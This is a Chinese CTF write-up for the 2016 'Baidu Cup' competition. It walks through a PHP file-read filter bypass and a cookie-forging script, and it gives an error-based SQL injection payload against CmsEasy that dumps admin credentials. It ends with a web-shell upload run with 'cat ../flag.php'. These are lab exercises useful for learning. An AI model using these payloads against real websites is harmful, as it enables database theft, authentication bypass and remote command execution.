百度杯CTF WP

Posted by Xiaoxi on September 27, 2016

“百度杯” CTF Write Up


第一场

Code

第一题,很熟悉。回想了一下,和XNUCA一个练习题很像,回去查了下。题目差不多,照原思路解就可以了。

首先,把index.php的base读取到,然后解码。

PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KaGVhZGVyKCdjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1JlZnJlc2g6MDt1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxlID0gJF9HRVRbJ2pwZyddOw0KZWNobyAnPHRpdGxlPmZpbGU6Jy4kZmlsZS4nPC90aXRsZT4nOw0KJGZpbGUgPSBwcmVnX3JlcGxhY2UoIi9bXmEtekEtWjAtOS5dKy8iLCIiLCAkZmlsZSk7DQokZmlsZSA9IHN0cl9yZXBsYWNlKCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaWxlPw0KICoNCiAqLw0KDQo/Pg==

源码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

然后是一个PhpStorm的源码泄漏:

http://192e7de921e14d51a9ec1d7984b253611413a0b872b744f9.game.ichunqiu.com/.idea/workspace.xml

看到除了index.php/config.php之外,还有一个fl3g_ichuqiu.php文件,然后直接访问这个文件

然后,尝试得到这个文件的源码: 因为源码一开始会过滤一次_,然后过滤config,那么我们可以通过config来绕过这个过滤。

payload:view-source:http://192e7de921e14d51a9ec1d7984b253611413a0b872b744f9.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php

源码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

我们可以发现,只需要cookie user字段解密结果为system的时候,可以echo出flag。这里用之前写出来的一个php脚本来计算出16种不同的base64加密值,然后用Burpsuit Intruder暴力枚举。脚本poc如下:

<?php
function ss($txt,$m){
  for($i=0;$i<strlen($m);$i++){
     $tmp .= chr(ord($m[$i])+10);
  }
  $m=$tmp;
  $tmp='';
  $txt=base64_decode($txt);
  $rnd = substr($txt,0,4);
  $txt = substr($txt,4);
  for($i=0;$i<strlen($txt);$i++){
     $key .= $txt[$i] ^ $m[$i];
  }
  $s='0123456789abcdef';
  $txt1='system';
  for($i=0;$i<strlen($txt1);$i++){
    $tmp .= chr(ord($txt1[$i])+10);
  }
  $txt1=$tmp;
  $tmp='';
  for($i=0;$i<16;$i++){
     $tmp = $key.$s[$i];
     for($ii=0;$ii<strlen($txt1);$ii++){
       $txt2 .= $txt1[$ii] ^ $tmp[$ii];
     }
     file_put_contents('1.txt',base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
     $txt2='';
   }
}
ss('VW9BNRVKDUQd','guest');//guest及其对应的cookie。
?>

YeserCMS

  1. 首先在文档下载的评论区发现其真正的CMS系统=》》cmseasy。然后搜索这个cms的相关漏洞。
  2. 在https://www.secpulse.com/archives/41265.html

    找到一个可以利用的漏洞。post 一个数据包,得到管理员账号和密码hash。(其中需要调整substring参数的偏移值来获取所有的hash值。)最后得到 账户:admin 密码:Yeser231

    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Csubstring%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528username%252Cpassword%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
    
  3. 登陆后台后,在模板下的编辑当前模板的时候存在任意代码读取 用 Burp 抓个包,改一下文件。 image

Upload

一看就是一道上传题,直接上 Burp。

直接传一句话被拦,换个 phpinfo(); 不拦截了,可能是检测了其中的函数,这样也好,不用再弄什么图片马了。

好像还会过滤 php 文件的头部,那么就换一种方式吧。

传上去后提交:

/u/one.php?a=cat%20../flag.php


第二场

SQL

再见CMS

XSS平台


第三场

123

Test

SQLi


参考: